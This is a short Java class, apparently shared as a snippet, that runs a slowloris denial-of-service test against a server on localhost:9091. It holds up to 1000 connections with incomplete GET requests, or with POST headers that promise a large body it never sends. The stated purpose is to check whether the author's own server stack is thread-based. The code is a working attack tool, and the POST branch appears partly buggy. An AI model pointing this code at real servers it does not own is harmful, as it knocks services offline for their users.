Java class which simulates slow loris DoS attack on http server.

SlowLorisTester.java

import lombok.extern.slf4j.Slf4j;

import java.io.IOException;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;

/**
 * Class to empirically test if our server (or whole path including reverse proxy) is thread based or event based.
 * Mostly copy/paste from https://stackoverflow.com/a/17558146/11152683
 */
@Slf4j
public class SlowLorisTester {
    public static void main(String[] args) throws InterruptedException, IOException {
        SlowLorisTester tester = new SlowLorisTester();
        new Thread(() -> {
            try {
                tester.test(MethodType.GET);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        ).start();
        System.out.println("Enter something to stop.");
        System.in.read();
        System.out.println("going to stop endless loop.");
        tester.stopWorking = true;
    }

    enum MethodType {
        GET,
        POST;
    }

    private volatile boolean stopWorking = false;
    private final int connsPerThread = 1000;
    private Socket[] socks = new Socket[connsPerThread];
    private final String hpHost = "localhost";
    private final int hpPort = 9091;

    private void test(MethodType dosMethod) throws InterruptedException {
        long newConnectionsTillNow = 0;
        switch (dosMethod) {
            case GET:
                while (!stopWorking) {
                    int newConnections = 0;
                    for (int i = 0; i < connsPerThread; i++) {
                        if (socks[i] != null && socks[i].isConnected()) {
                            try {
                                PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
                                pw.println("GET / HTTP/1.1");
                                pw.println("Host: " + hpHost);
                                pw.println();
                                pw.flush();
                            } catch (Exception e) {
                                log.warn("Error printing...", e);
                            }
                        } else {
                            try {
                                socks[i] = new Socket(InetAddress.getByName(hpHost), hpPort);
                                newConnections++;
                                System.out.print(".");
                                Thread.sleep(1);
                            } catch (IOException e) {
                                log.warn("Error creating socket...", e);
                            }
                        }
                    }
                    if (newConnections > 0) {
                        System.out.println();
                    }
                    newConnectionsTillNow += newConnections;
                    log.info("Going to sleep to other round. newConnections=" + newConnections + "\t newConnectionsTillNow=" + newConnectionsTillNow);
                    Thread.sleep(678);
                }
                break;
            case POST:
                for (int i = 0; i < connsPerThread; i++) {
                    try {
                        socks[i].close();
                    } catch (IOException e) {
                        log.warn("Error closing...", e);
                    }
                }
                while (!stopWorking) {
                    for (int i = 0; i < connsPerThread; i++) {
                        if (socks[i].isConnected()) {
                            try {
                                PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
                                pw.println();
                            } catch (IOException e) {
                                log.warn("Error printing...", e);
                            }
                        } else {
                            try {
                                socks[i] = new Socket(InetAddress.getByName(hpHost), hpPort);
                                PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
                                pw.println("POST / HTTP/1.1");
                                pw.println("User-Agent: %s");
                                pw.println("Connection: keep-alive");
                                pw.println("Keep-Alive: 900");
                                pw.println("Content-Length: 10000");
                                pw.println("Content-Type: application/x-www-form-urlencoded");
                                pw.println();
                                pw.flush();
                            } catch (IOException e) {
                                log.warn("Error printing...", e);
                            }
                        }
                    }
                    log.info("Going to sleep to other round.");
                    Thread.sleep(678);
                }
                break;
        }
    }
}